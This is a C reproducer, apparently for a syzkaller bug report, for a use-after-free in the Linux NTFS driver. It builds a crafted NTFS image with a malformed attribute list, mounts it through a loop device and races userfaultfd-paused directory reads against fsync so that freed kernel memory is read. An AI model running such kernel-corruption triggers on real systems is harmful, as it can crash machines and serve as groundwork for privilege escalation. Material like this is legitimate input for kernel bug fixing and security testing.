// https://syzkaller.appspot.com/bug?id=e55a1afa631eda6ac5f019b8ff5ac3579c2d16bb #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __NR_userfaultfd #if defined(__x86_64__) #define __NR_userfaultfd 323 #elif defined(__aarch64__) #define __NR_userfaultfd 282 #endif #endif #ifndef SYS_getdents64 #define SYS_getdents64 __NR_getdents64 #endif #ifndef SYS_getdents #if defined(__NR_getdents) #define SYS_getdents __NR_getdents #elif defined(__x86_64__) #define SYS_getdents 78 #endif #endif #define ALIGN(x, a) (((x) + (a) - 1) & ~((a) - 1)) #define cpu_to_le16(x) ((uint16_t)(x)) #define cpu_to_le32(uint32_t)(x) #define cpu_to_le64(uint64_t)(x) #define le16_to_cpu(x) ((uint16_t)(x)) #define le32_to_cpu(x) ((uint32_t)(x)) #define le64_to_cpu(x) ((uint64_t)(x)) #define RECORD_FLAG_IN_USE 0x0001 #define RECORD_FLAG_DIR 0x0002 #define ATTR_STD 0x10 #define ATTR_LIST 0x20 #define ATTR_NAME 0x30 #define ATTR_VOL_INFO 0x70 #define ATTR_DATA 0x80 #define ATTR_ROOT 0x90 #define ATTR_BITMAP 0xB0 #define ATTR_EA 0xE0 #define ATTR_END 0xFFFFFFFF #define RESIDENT_FLAG_INDEXED 0x01 #define FILE_ATTRIBUTE_READONLY 0x00000001 #define FILE_ATTRIBUTE_DIRECTORY 0x00000010 #define FILE_ATTRIBUTE_ARCHIVE 0x00000020 #define FILE_NAME_POSIX 0 #define NTFS_IE_LAST 0x02 struct NTFS_RECORD_HEADER { uint32_t sign; uint16_t fix_off; uint16_t fix_num; uint64_t lsn; } __attribute__((packed)); struct MFT_REF { uint32_t low; uint16_t high; uint16_t seq; } __attribute__((packed)); struct MFT_REC { struct NTFS_RECORD_HEADER rhdr; uint16_t seq; uint16_t hard_links; uint16_t attr_off; uint16_t flags; uint32_t used; uint32_t total; struct MFT_REF parent_ref; uint16_t next_attr_id; uint16_t res; uint32_t mft_record; uint16_t fixups[3]; } __attribute__((packed)); struct ATTR_RESIDENT { uint32_t data_size; uint16_t data_off; uint8_t flags; uint8_t res; } __attribute__((packed)); struct ATTR_NONRESIDENT { uint64_t svcn; uint64_t evcn; uint16_t run_off; uint8_t c_unit; uint8_t res1[5]; uint64_t alloc_size; uint64_t data_size; uint64_t valid_size; uint64_t total_size; } __attribute__((packed)); struct ATTRIB { uint32_t type; uint32_t size; uint8_t non_res; uint8_t name_len; uint16_t name_off; uint16_t flags; uint16_t id; union { struct ATTR_RESIDENT res; struct ATTR_NONRESIDENT nres; }; } __attribute__((packed)); struct ATTR_STD_INFO { uint64_t cr_time; uint64_t m_time; uint64_t c_time; uint64_t a_time; uint32_t fa; uint32_t max_ver_num; uint32_t ver_num; uint32_t class_id; } __attribute__((packed)); struct NTFS_DUP_INFO { uint64_t cr_time; uint64_t m_time; uint64_t c_time; uint64_t a_time; uint64_t alloc_size; uint64_t data_size; uint32_t fa; uint32_t ea_size; } __attribute__((packed)); struct ATTR_FILE_NAME { struct MFT_REF home; struct NTFS_DUP_INFO dup; uint8_t name_len; uint8_t type; uint16_t name[]; } __attribute__((packed)); struct ATTR_LIST_ENTRY { uint32_t type; uint16_t size; uint8_t name_len; uint8_t name_off; uint64_t vcn; struct MFT_REF ref; uint16_t id; uint16_t name[]; } __attribute__((packed)); struct VOLUME_INFO { uint64_t res1; uint8_t major_ver; uint8_t minor_ver; uint16_t flags; } __attribute__((packed)); struct ATTR_DEF_ENTRY { uint16_t name[0x40]; uint32_t type; uint32_t res; uint32_t rule; uint32_t flags; uint64_t min_sz; uint64_t max_sz; } __attribute__((packed)); struct INDEX_HDR { uint32_t de_off; uint32_t used; uint32_t total; uint32_t flags; } __attribute__((packed)); struct INDEX_ROOT { uint32_t type; uint32_t rule; uint32_t index_block_size; uint8_t index_block_clst; uint8_t res[3]; struct INDEX_HDR ihdr; } __attribute__((packed)); struct NTFS_DE { struct MFT_REF ref; uint16_t size; uint16_t key_size; uint16_t flags; uint16_t res; } __attribute__((packed)); struct NTFS_BOOT { uint8_t jump_code[3]; uint8_t system_id[8]; uint8_t bytes_per_sector[2]; uint8_t sectors_per_clusters; uint8_t unused1[7]; uint8_t media_type; uint8_t unused2[2]; uint16_t sct_per_track; uint16_t heads; uint32_t hidden_sectors; uint8_t unused3[4]; uint8_t bios_drive_num; uint8_t unused4; uint8_t signature_ex; uint8_t unused5; uint64_t sectors_per_volume; uint64_t mft_clst; uint64_t mft2_clst; int8_t record_size; uint8_t unused6[3]; int8_t index_size; uint8_t unused7[3]; uint64_t serial_num; uint32_t check_sum; uint8_t boot_code[0x200 - 0x50 - 2 - 4]; uint8_t boot_magic[2]; } __attribute__((packed)); #define VOLUME_SIZE (2 * 1024 * 1024) #define SECTOR_SIZE 1024 #define CLUSTER_SIZE 1024 #define RECORD_SIZE 1024 #define MFT_CLUSTERS 32 #define MFT_START_LCN 4 static void apply_record_fixup(struct MFT_REC *rec, uint32_t rec_size) { uint16_t *fixup = (uint16_t *)((char *)rec + le16_to_cpu(rec->rhdr.fix_off)); uint16_t sample = 1; fixup[0] = sample; uint32_t sectors = rec_size / 512; for (uint32_t i = 0; i < sectors; i++) { uint16_t *ptr = (uint16_t *)((char *)rec + (i + 1) * 512 - 2); fixup[i + 1] = *ptr; *ptr = sample; } } /* * CRITICAL: In NTFS, struct MFT_REC::parent_ref at offset 0x20 stores the base MFT * record reference for multi-record inodes. For ALL base records (representing * independent inodes/metadata files), parent_ref MUST be 0 (low=0, high=0, seq=0) * so is_rec_base() returns true. Only extension subrecords (record 17) have parent_ref != 0. * Directory parentage belongs exclusively in struct ATTR_FILE_NAME::home. */ static void init_mft_rec(char *rec, uint32_t rno, uint16_t flags, uint64_t base_rec) { memset(rec, 0, RECORD_SIZE); struct MFT_REC *m = (struct MFT_REC *)rec; m->rhdr.sign = (uint32_t)0x454C4946; /* 'FILE' */ m->rhdr.fix_off = (uint16_t)0x30; m->rhdr.fix_num = (uint16_t)3; m->seq = (uint16_t)(rno ? rno : 1); m->hard_links = (uint16_t)(base_rec ? 0 : 1); m->attr_off = (uint16_t)0x38; m->flags = (uint16_t)flags; m->total = (uint32_t)RECORD_SIZE; if (base_rec) { m->parent_ref.low = (uint32_t)base_rec; m->parent_ref.high = 0; m->parent_ref.seq = (uint16_t)base_rec; } else { m->parent_ref.low = 0; m->parent_ref.high = 0; m->parent_ref.seq = 0; } m->next_attr_id = (uint16_t)10; m->mft_record = (uint32_t)rno; } static uint32_t add_attr_std(char *rec, uint32_t off, uint16_t id, uint32_t fa) { struct ATTRIB *attr = (struct ATTRIB *)(rec + off); attr->type = (uint32_t)ATTR_STD; attr->size = (uint32_t)(0x18 + sizeof(struct ATTR_STD_INFO)); attr->non_res = 0; attr->id = (uint16_t)id; attr->res.data_off = (uint16_t)0x18; attr->res.data_size = (uint32_t)sizeof(struct ATTR_STD_INFO); struct ATTR_STD_INFO *std = (struct ATTR_STD_INFO *)(rec + off + 0x18); std->fa = (uint32_t)fa; return off + 0x18 + sizeof(struct ATTR_STD_INFO); } static uint32_t add_attr_name(char *rec, uint32_t off, uint16_t id, uint64_t parent_dir_ino, const char *name, uint32_t fa) { uint8_t nlen = (uint8_t)strlen(name); uint32_t data_size = sizeof(struct ATTR_FILE_NAME) + nlen * 2; uint32_t asize = ALIGN(0x18 + data_size, 8); struct ATTRIB *attr = (struct ATTRIB *)(rec + off); attr->type = (uint32_t)ATTR_NAME; attr->size = (uint32_t)asize; attr->non_res = 0; attr->id = (uint16_t)id; attr->res.data_off = (uint16_t)0x18; attr->res.data_size = (uint32_t)data_size; attr->res.flags = RESIDENT_FLAG_INDEXED; struct ATTR_FILE_NAME *fn = (struct ATTR_FILE_NAME *)(rec + off + 0x18); fn->home.low = (uint32_t)parent_dir_ino; fn->home.seq = (uint16_t)parent_dir_ino; fn->dup.fa = (uint32_t)fa; fn->name_len = nlen; fn->type = FILE_NAME_POSIX; for (int i = 0; i < nlen; i++) fn->name[i] = (uint16_t)name[i]; return off + asize; } static uint32_t add_attr_data_resident(char *rec, uint32_t off, uint16_t id, const void *data, uint32_t len) { uint32_t asize = ALIGN(0x18 + len, 8); struct ATTRIB *attr = (struct ATTRIB *)(rec + off); attr->type = (uint32_t)ATTR_DATA; attr->size = (uint32_t)asize; attr->non_res = 0; attr->id = (uint16_t)id; attr->res.data_off = (uint16_t)0x18; attr->res.data_size = (uint32_t)len; if (len > 0 && data) memcpy(rec + off + 0x18, data, len); return off + asize; } static uint32_t add_attr_nonresident(char *rec, uint32_t off, uint32_t type, uint16_t id, const char *name, uint64_t size, uint64_t clst_cnt, const void *run, uint32_t run_len) { uint8_t nlen = name ? (uint8_t)strlen(name) : 0; uint32_t name_size = ALIGN(nlen * sizeof(uint16_t), 8); uint16_t name_off = 0x40; uint16_t run_off = name_off + name_size; uint32_t asize = ALIGN(run_off + run_len, 8); struct ATTRIB *attr = (struct ATTRIB *)(rec + off); memset(attr, 0, asize); attr->type = (uint32_t)type; attr->size = (uint32_t)asize; attr->non_res = 1; attr->name_len = nlen; attr->name_off = (uint16_t)name_off; attr->id = (uint16_t)id; attr->nres.svcn = 0; attr->nres.evcn = (uint64_t)(clst_cnt ? clst_cnt - 1 : 0); attr->nres.run_off = (uint16_t)run_off; attr->nres.alloc_size = (uint64_t)(clst_cnt * CLUSTER_SIZE); attr->nres.data_size = (uint64_t)size; attr->nres.valid_size = (uint64_t)size; attr->nres.total_size = (uint64_t)(clst_cnt * CLUSTER_SIZE); if (nlen > 0) { uint16_t *uname = (uint16_t *)(rec + off + name_off); for (int i = 0; i < nlen; i++) uname[i] = (uint16_t)name[i]; } if (run_len > 0 && run) memcpy(rec + off + run_off, run, run_len); return off + asize; } static uint32_t add_attr_vol_info(char *rec, uint32_t off, uint16_t id, uint8_t maj, uint8_t min) { uint32_t asize = ALIGN(0x18 + sizeof(struct VOLUME_INFO), 8); struct ATTRIB *attr = (struct ATTRIB *)(rec + off); attr->type = (uint32_t)ATTR_VOL_INFO; attr->size = (uint32_t)asize; attr->non_res = 0; attr->id = (uint16_t)id; attr->res.data_off = (uint16_t)0x18; attr->res.data_size = (uint32_t)sizeof(struct VOLUME_INFO); struct VOLUME_INFO *vi = (struct VOLUME_INFO *)(rec + off + 0x18); vi->major_ver = maj; vi->minor_ver = min; return off + asize; } static uint32_t add_dir_entry(char *buf, uint32_t off, uint64_t ref_ino, const char *name, uint32_t fa, uint64_t parent_dir_ino) { uint8_t nlen = (uint8_t)strlen(name); uint16_t key_size = sizeof(struct ATTR_FILE_NAME) + nlen * 2; uint16_t de_size = (uint16_t)ALIGN(sizeof(struct NTFS_DE) + key_size, 8); struct NTFS_DE *de = (struct NTFS_DE *)(buf + off); de->ref.low = (uint32_t)ref_ino; de->ref.seq = (uint16_t)ref_ino; de->size = (uint16_t)de_size; de->key_size = (uint16_t)key_size; de->flags = 0; struct ATTR_FILE_NAME *fn = (struct ATTR_FILE_NAME *)(buf + off + sizeof(struct NTFS_DE)); fn->home.low = (uint32_t)parent_dir_ino; fn->home.seq = (uint16_t)parent_dir_ino; fn->dup.fa = (uint32_t)fa; fn->name_len = nlen; fn->type = FILE_NAME_POSIX; for (int i = 0; i < nlen; i++) fn->name[i] = (uint16_t)name[i]; return off + de_size; } static uint32_t add_dir_entry_last(char *buf, uint32_t off) { struct NTFS_DE *de = (struct NTFS_DE *)(buf + off); de->size = (uint16_t)sizeof(struct NTFS_DE); de->key_size = 0; de->flags = (uint16_t)NTFS_IE_LAST; return off + sizeof(struct NTFS_DE); } static uint32_t add_attr_root(char *rec, uint32_t off, uint16_t id, const char *entries, uint32_t entries_len) { static const uint16_t i30_name[4] = { (uint16_t)'$', (uint16_t)'I', (uint16_t)'3', (uint16_t)'0' }; uint32_t dsize = sizeof(struct INDEX_ROOT) + entries_len; uint32_t asize = ALIGN(0x20 + dsize, 8); struct ATTRIB *attr = (struct ATTRIB *)(rec + off); attr->type = (uint32_t)ATTR_ROOT; attr->size = (uint32_t)asize; attr->non_res = 0; attr->name_len = 4; attr->name_off = (uint16_t)0x18; attr->id = (uint16_t)id; attr->res.data_off = (uint16_t)0x20; attr->res.data_size = (uint32_t)dsize; memcpy(rec + off + 0x18, i30_name, sizeof(i30_name)); struct INDEX_ROOT *root = (struct INDEX_ROOT *)(rec + off + 0x20); root->type = (uint32_t)ATTR_NAME; root->rule = (uint32_t)1; root->index_block_size = (uint32_t)4096; root->index_block_clst = 4; /* 4 clusters * 1024 cluster_size == 4096 index_block_size */ root->ihdr.de_off = (uint32_t)sizeof(struct INDEX_HDR); root->ihdr.used = (uint32_t)(sizeof(struct INDEX_HDR) + entries_len); root->ihdr.total = root->ihdr.used; root->ihdr.flags = 0; memcpy(rec + off + 0x20 + sizeof(struct INDEX_ROOT), entries, entries_len); return off + asize; } static void finalize_record(char *rec, uint32_t off) { struct ATTRIB *attr = (struct ATTRIB *)(rec + off); attr->type = (uint32_t)ATTR_END; attr->size = (uint32_t)8; off += 8; struct MFT_REC *m = (struct MFT_REC *)rec; m->used = (uint32_t)off; apply_record_fixup(m, RECORD_SIZE); } static void build_ntfs_image(char *img) { memset(img, 0, VOLUME_SIZE); /* 1. Boot sector (Primary at sector 0, Backup at sector 2047) */ struct NTFS_BOOT *boot = (struct NTFS_BOOT *)img; boot->jump_code[0] = 0xEB; boot->jump_code[1] = 0x52; boot->jump_code[2] = 0x90; memcpy(boot->system_id, "NTFS ", 8); boot->bytes_per_sector[0] = 0x00; boot->bytes_per_sector[1] = 0x04; /* 1024 bytes per sector */ boot->sectors_per_clusters = 1; /* 1024 bytes per cluster */ boot->media_type = 0xF8; /* sectors_per_volume must be 2047 so volume.size + boot_size == dev_size (avoids RAW mode) */ boot->sectors_per_volume = (uint64_t)((VOLUME_SIZE / SECTOR_SIZE) - 1); boot->mft_clst = (uint64_t)MFT_START_LCN; boot->mft2_clst = (uint64_t)MFT_START_LCN; boot->record_size = -10; /* 1 << 10 = 1024 bytes */ boot->index_size = -12; /* 1 << 12 = 4096 bytes */ boot->serial_num = (uint64_t)0x1122334455667788ULL; boot->boot_magic[0] = 0x55; boot->boot_magic[1] = 0xAA; /* Backup boot sector at the last sector */ memcpy(img + ((VOLUME_SIZE / SECTOR_SIZE) - 1) * SECTOR_SIZE, img, SECTOR_SIZE); /* Setup cluster allocations */ /* Cluster 36: $MFT bitmap (records 0..17 allocated) */ img[36 * CLUSTER_SIZE + 0] = 0xFF; img[36 * CLUSTER_SIZE + 1] = 0xFF; img[36 * CLUSTER_SIZE + 2] = 0x03; /* Cluster 37: Volume allocation bitmap (mark clusters 0..383 used) */ memset(img + 37 * CLUSTER_SIZE, 0xFF, 48); /* Cluster 180..379: $LogFile non-resident data (200 clusters filled with 0xFF) */ memset(img + 180 * CLUSTER_SIZE, 0xFF, 200 * CLUSTER_SIZE); /* Cluster 50..177: $UpCase table (128 clusters = 131072 bytes) */ uint16_t *upcase_tbl = (uint16_t *)(img + 50 * CLUSTER_SIZE); for (uint32_t i = 0; i < 65536; i++) { if (i >= 'a' && i <= 'z') upcase_tbl[i] = (uint16_t)(i - 32); else upcase_tbl[i] = (uint16_t)i; } char *mft = img + MFT_START_LCN * CLUSTER_SIZE; /* Record 0: $MFT (base_rec = 0) */ char *r0 = mft + 0 * RECORD_SIZE; init_mft_rec(r0, 0, RECORD_FLAG_IN_USE, 0); uint32_t off = 0x38; off = add_attr_std(r0, off, 1, FILE_ATTRIBUTE_ARCHIVE); off = add_attr_name(r0, off, 2, 5, "$MFT", FILE_ATTRIBUTE_ARCHIVE); static const uint8_t mft_run[] = { 0x11, 0x20, 0x04, 0x00 }; /* 32 clusters at LCN 4 */ off = add_attr_nonresident(r0, off, ATTR_DATA, 3, NULL, MFT_CLUSTERS * CLUSTER_SIZE, MFT_CLUSTERS, mft_run, sizeof(mft_run)); static const uint8_t mft_bmp_run[] = { 0x11, 0x01, 0x24, 0x00 }; /* 1 cluster at LCN 36 */ off = add_attr_nonresident(r0, off, ATTR_BITMAP, 4, NULL, 1024, 1, mft_bmp_run, sizeof(mft_bmp_run)); finalize_record(r0, off); /* Record 1: $MFTMirr (base_rec = 0) */ char *r1 = mft + 1 * RECORD_SIZE; init_mft_rec(r1, 1, RECORD_FLAG_IN_USE, 0); off = 0x38; off = add_attr_std(r1, off, 1, FILE_ATTRIBUTE_ARCHIVE); off = add_attr_name(r1, off, 2, 5, "$MFTMirr", FILE_ATTRIBUTE_ARCHIVE); off = add_attr_data_resident(r1, off, 3, NULL, 0); finalize_record(r1, off); /* Record 2: $LogFile (base_rec = 0) */ char *r2 = mft + 2 * RECORD_SIZE; init_mft_rec(r2, 2, RECORD_FLAG_IN_USE, 0); off = 0x38; off = add_attr_std(r2, off, 1, FILE_ATTRIBUTE_ARCHIVE); off = add_attr_name(r2, off, 2, 5, "$LogFile", FILE_ATTRIBUTE_ARCHIVE); static const uint8_t log_run[] = { 0x21, 0xC8, 0xB4, 0x00, 0x00 }; /* 200 clusters at LCN 180 (0xB4) */ off = add_attr_nonresident(r2, off, ATTR_DATA, 3, NULL, 200 * CLUSTER_SIZE, 200, log_run, sizeof(log_run)); finalize_record(r2, off); /* Record 3: $Volume (base_rec = 0, requires resident ATTR_DATA to set mode = S_IFREG) */ char *r3 = mft + 3 * RECORD_SIZE; init_mft_rec(r3, 3, RECORD_FLAG_IN_USE, 0); off = 0x38; off = add_attr_std(r3, off, 1, FILE_ATTRIBUTE_ARCHIVE); off = add_attr_name(r3, off, 2, 5, "$Volume", FILE_ATTRIBUTE_ARCHIVE); off = add_attr_vol_info(r3, off, 3, 1, 2); /* major 1, minor 2 bypasses $Secure and $Extend */ off = add_attr_data_resident(r3, off, 4, NULL, 0); finalize_record(r3, off); /* Record 4: $AttrDef (base_rec = 0) */ char *r4 = mft + 4 * RECORD_SIZE; init_mft_rec(r4, 4, RECORD_FLAG_IN_USE, 0); off = 0x38; off = add_attr_std(r4, off, 1, FILE_ATTRIBUTE_ARCHIVE); off = add_attr_name(r4, off, 2, 5, "$AttrDef", FILE_ATTRIBUTE_ARCHIVE); struct ATTR_DEF_ENTRY defs[4]; memset(defs, 0, sizeof(defs)); defs[0].type = (uint32_t)ATTR_STD; defs[1].type = (uint32_t)ATTR_LIST; defs[2].type = (uint32_t)ATTR_NAME; defs[3].type = (uint32_t)ATTR_EA; defs[3].max_sz = (uint64_t)0x10000; off = add_attr_data_resident(r4, off, 3, defs, sizeof(defs)); finalize_record(r4, off); /* Record 5: Root directory "." (base_rec = 0) */ char r5_de[256]; uint32_t r5_de_len = 0; r5_de_len = add_dir_entry(r5_de, r5_de_len, 16, "dir", FILE_ATTRIBUTE_DIRECTORY, 5); r5_de_len = add_dir_entry_last(r5_de, r5_de_len); char *r5 = mft + 5 * RECORD_SIZE; init_mft_rec(r5, 5, RECORD_FLAG_IN_USE | RECORD_FLAG_DIR, 0); off = 0x38; off = add_attr_std(r5, off, 1, FILE_ATTRIBUTE_DIRECTORY); off = add_attr_name(r5, off, 2, 5, ".", FILE_ATTRIBUTE_DIRECTORY); off = add_attr_root(r5, off, 3, r5_de, r5_de_len); finalize_record(r5, off); /* Record 6: $Bitmap (base_rec = 0) */ char *r6 = mft + 6 * RECORD_SIZE; init_mft_rec(r6, 6, RECORD_FLAG_IN_USE, 0); off = 0x38; off = add_attr_std(r6, off, 1, FILE_ATTRIBUTE_ARCHIVE); off = add_attr_name(r6, off, 2, 5, "$Bitmap", FILE_ATTRIBUTE_ARCHIVE); static const uint8_t vol_bmp_run[] = { 0x11, 0x01, 0x25, 0x00 }; /* 1 cluster at LCN 37 */ off = add_attr_nonresident(r6, off, ATTR_DATA, 3, NULL, 256, 1, vol_bmp_run, sizeof(vol_bmp_run)); finalize_record(r6, off); /* Record 8: $BadClus (base_rec = 0) */ char *r8 = mft + 8 * RECORD_SIZE; init_mft_rec(r8, 8, RECORD_FLAG_IN_USE, 0); off = 0x38; off = add_attr_std(r8, off, 1, FILE_ATTRIBUTE_ARCHIVE); off = add_attr_name(r8, off, 2, 5, "$BadClus", FILE_ATTRIBUTE_ARCHIVE); static const uint8_t bad_run[] = { 0x01, 0x01, 0x00 }; /* 1 sparse cluster */ off = add_attr_nonresident(r8, off, ATTR_DATA, 3, "$Bad", 0, 1, bad_run, sizeof(bad_run)); finalize_record(r8, off); /* Record 10: $UpCase (base_rec = 0) */ char *r10 = mft + 10 * RECORD_SIZE; init_mft_rec(r10, 10, RECORD_FLAG_IN_USE, 0); off = 0x38; off = add_attr_std(r10, off, 1, FILE_ATTRIBUTE_ARCHIVE); off = add_attr_name(r10, off, 2, 5, "$UpCase", FILE_ATTRIBUTE_ARCHIVE); static const uint8_t upcase_run[] = { 0x12, 0x80, 0x00, 0x32, 0x00 }; /* 128 clusters at LCN 50 (0x32) */ off = add_attr_nonresident(r10, off, ATTR_DATA, 3, NULL, 131072, 128, upcase_run, sizeof(upcase_run)); finalize_record(r10, off); /* Record 16: Target directory "dir" with ATTR_LIST containing duplicate ATTR_STD (base_rec = 0) */ char r16_de[512]; uint32_t r16_de_len = 0; r16_de_len = add_dir_entry(r16_de, r16_de_len, 16, "file1", FILE_ATTRIBUTE_ARCHIVE, 16); r16_de_len = add_dir_entry(r16_de, r16_de_len, 16, "file2", FILE_ATTRIBUTE_ARCHIVE, 16); r16_de_len = add_dir_entry_last(r16_de, r16_de_len); char *r16 = mft + 16 * RECORD_SIZE; init_mft_rec(r16, 16, RECORD_FLAG_IN_USE | RECORD_FLAG_DIR, 0); off = 0x38; off = add_attr_std(r16, off, 1, FILE_ATTRIBUTE_DIRECTORY); /* ATTR_LIST resident data: 4 entries sorted by type */ char al_buf[160]; memset(al_buf, 0, sizeof(al_buf)); uint32_t al_len = 0; /* Entry 0: ATTR_STD in base record (rno 16, id 1) */ struct ATTR_LIST_ENTRY *le1 = (struct ATTR_LIST_ENTRY *)(al_buf + al_len); le1->type = (uint32_t)ATTR_STD; le1->size = (uint16_t)0x20; le1->name_off = 0x1A; le1->ref.low = (uint32_t)16; le1->ref.seq = (uint16_t)16; le1->id = (uint16_t)1; al_len += 0x20; /* Entry 1: Duplicate ATTR_STD in subrecord (rno 17, id 4) */ struct ATTR_LIST_ENTRY *le2 = (struct ATTR_LIST_ENTRY *)(al_buf + al_len); le2->type = (uint32_t)ATTR_STD; le2->size = (uint16_t)0x20; le2->name_off = 0x1A; le2->ref.low = (uint32_t)17; le2->ref.seq = (uint16_t)17; le2->id = (uint16_t)4; al_len += 0x20; /* Entry 2: ATTR_NAME in base record (rno 16, id 2) */ struct ATTR_LIST_ENTRY *le3 = (struct ATTR_LIST_ENTRY *)(al_buf + al_len); le3->type = (uint32_t)ATTR_NAME; le3->size = (uint16_t)0x20; le3->name_off = 0x1A; le3->ref.low = (uint32_t)16; le3->ref.seq = (uint16_t)16; le3->id = (uint16_t)2; al_len += 0x20; /* Entry 3: ATTR_ROOT in base record (rno 16, id 3, name "$I30") */ struct ATTR_LIST_ENTRY *le4 = (struct ATTR_LIST_ENTRY *)(al_buf + al_len); le4->type = (uint32_t)ATTR_ROOT; le4->size = (uint16_t)0x28; le4->name_len = 4; le4->name_off = 0x1A; le4->ref.low = (uint32_t)16; le4->ref.seq = (uint16_t)16; le4->id = (uint16_t)3; static const uint16_t i30_le[4] = { (uint16_t)'$', (uint16_t)'I', (uint16_t)'3', (uint16_t)'0' }; memcpy((char *)le4 + 0x1A, i30_le, sizeof(i30_le)); al_len += 0x28; /* Add ATTR_LIST to Record 16 */ uint32_t al_asize = ALIGN(0x18 + al_len, 8); struct ATTRIB *attr_al = (struct ATTRIB *)(r16 + off); attr_al->type = (uint32_t)ATTR_LIST; attr_al->size = (uint32_t)al_asize; attr_al->non_res = 0; attr_al->id = (uint16_t)5; attr_al->res.data_off = (uint16_t)0x18; attr_al->res.data_size = (uint32_t)al_len; memcpy(r16 + off + 0x18, al_buf, al_len); off += al_asize; /* Add ATTR_NAME to Record 16 (parent directory is 5) */ off = add_attr_name(r16, off, 2, 5, "dir", FILE_ATTRIBUTE_DIRECTORY); /* Add ATTR_ROOT to Record 16 */ off = add_attr_root(r16, off, 3, r16_de, r16_de_len); finalize_record(r16, off); /* Record 17: Subrecord containing duplicate ATTR_STD (base_rec = 16) */ char *r17 = mft + 17 * RECORD_SIZE; init_mft_rec(r17, 17, RECORD_FLAG_IN_USE, 16); off = 0x38; off = add_attr_std(r17, off, 4, FILE_ATTRIBUTE_DIRECTORY); finalize_record(r17, off); } struct uffd_thread_arg { int uffd; int dir_fd; void *fault_page; }; static void *uffd_monitor_thread(void *arg) { struct uffd_thread_arg *targ = (struct uffd_thread_arg *)arg; int uffd = targ->uffd; int dir_fd = targ->dir_fd; void *fault_page = targ->fault_page; printf("[*] UFFD monitor thread waiting for page fault...\n"); struct pollfd pfd = { .fd = uffd, .events = POLLIN }; int pr = poll(&pfd, 1, 3000); if (pr <= 0) { printf("[-] poll(uffd) timed out or failed: %d (%s)\n", pr, strerror(errno)); return NULL; } struct uffd_msg msg; ssize_t n = read(uffd, &msg, sizeof(msg)); if (n <= 0) { printf("[-] read(uffd) failed: %s\n", strerror(errno)); return NULL; } if (msg.event == UFFD_EVENT_PAGEFAULT) { printf("[+] UFFD caught expected page fault at address 0x%llx\n", (unsigned long long)msg.arg.pagefault.address); printf("[*] Directory reading thread is paused inside filldir / ntfs_read_hdr with ni unlocked.\n"); /* Inode attribute list was dirtied before getdents was invoked. * Trigger writeback to run ni_write_inode -> ni_try_remove_attr_list. */ printf("[*] Calling fsync(dir_fd) to trigger ni_write_inode / ni_try_remove_attr_list...\n"); int fsres = fsync(dir_fd); if (fsres < 0) printf("[-] fsync failed: %s\n", strerror(errno)); else printf("[+] fsync completed! ni_try_remove_attr_list has freed the original MFT record buffer.\n"); syncfs(dir_fd); /* Resolve page fault using UFFDIO_ZEROPAGE */ printf("[*] Resolving userfaultfd page fault...\n"); struct uffdio_zeropage zp; memset(&zp, 0, sizeof(zp)); zp.range.start = (uint64_t)fault_page; zp.range.len = 4096; zp.mode = 0; if (ioctl(uffd, UFFDIO_ZEROPAGE, &zp) < 0) { static char zero_buf[4096]; struct uffdio_copy uc; memset(&uc, 0, sizeof(uc)); uc.dst = (uint64_t)fault_page; uc.src = (uint64_t)zero_buf; uc.len = 4096; uc.mode = 0; ioctl(uffd, UFFDIO_COPY, &uc); } printf("[+] Page fault resolved. ntfs_read_hdr will now iterate and read freed memory.\n"); } return NULL; } struct race_arg { int dir_fd; volatile int stop; }; static void *race_read_thread(void *arg) { struct race_arg *r = (struct race_arg *)arg; char buf[4096]; while (!r->stop) { lseek(r->dir_fd, 0, SEEK_SET); #ifdef SYS_getdents syscall(SYS_getdents, r->dir_fd, buf, sizeof(buf)); #endif lseek(r->dir_fd, 0, SEEK_SET); syscall(SYS_getdents64, r->dir_fd, buf, sizeof(buf)); usleep(100); } return NULL; } static void *race_write_thread(void *arg) { struct race_arg *r = (struct race_arg *)arg; int cnt = 0; while (!r->stop) { fchown(r->dir_fd, 1000 + (cnt % 10), 1000 + (cnt % 10)); setxattr("/tmp/mnt_ntfs/dir", "user.x", "val", 3, 0); fsync(r->dir_fd); cnt++; usleep(100); } return NULL; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[*] Starting reproducer for KASAN: slab-use-after-free Read in ntfs_read_hdr\n"); /* Enable unprivileged userfaultfd if available */ int uffd_sysctl = open("/proc/sys/vm/unprivileged_userfaultfd", O_WRONLY); if (uffd_sysctl >= 0) { write(uffd_sysctl, "1\n", 2); close(uffd_sysctl); } /* 1. Build in-memory NTFS filesystem image */ printf("[*] Allocating and formatting 2MB NTFS filesystem image in memory...\n"); char *img = mmap(NULL, VOLUME_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (img == MAP_FAILED) { printf("[-] Failed to mmap image buffer: %s\n", strerror(errno)); exit(1); } build_ntfs_image(img); printf("[+] NTFS image formatted successfully with valid base records and crafted ATTR_LIST on 'dir'.\n"); /* 2. Write image to disk */ unlink("/tmp/ntfs.img"); int img_fd = open("/tmp/ntfs.img", O_RDWR | O_CREAT | O_TRUNC, 0666); if (img_fd < 0) { printf("[-] Failed to open /tmp/ntfs.img: %s\n", strerror(errno)); exit(1); } ssize_t written = write(img_fd, img, VOLUME_SIZE); if (written != VOLUME_SIZE) { printf("[-] Failed to write complete image: %s\n", strerror(errno)); exit(1); } printf("[+] Wrote 2MB image to /tmp/ntfs.img successfully.\n"); /* 3. Setup loop device */ int lctrl = open("/dev/loop-control", O_RDWR); if (lctrl < 0) { printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno)); exit(1); } int loop_idx = ioctl(lctrl, LOOP_CTL_GET_FREE); close(lctrl); if (loop_idx < 0 || loop_idx >= 32) loop_idx = 0; printf("[+] Obtained loop device index: %d\n", loop_idx); char loop_path[32]; snprintf(loop_path, sizeof(loop_path), "/dev/loop%d", loop_idx); int loop_fd = open(loop_path, O_RDWR); if (loop_fd < 0) { printf("[-] Failed to open %s: %s\n", loop_path, strerror(errno)); exit(1); } ioctl(loop_fd, LOOP_CLR_FD, 0); if (ioctl(loop_fd, LOOP_SET_FD, img_fd) < 0) { printf("[-] ioctl(LOOP_SET_FD) failed: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully associated /tmp/ntfs.img with %s.\n", loop_path); /* CRITICAL: Close loop_fd and img_fd immediately after LOOP_SET_FD! * In Linux 6.8+, block devices mounted by filesystems open with BLK_OPEN_RESTRICT_WRITES. * If any file descriptor is still open with write permissions, mount() fails with -EBUSY. */ close(loop_fd); close(img_fd); printf("[+] Closed loop_fd and img_fd before mount to satisfy 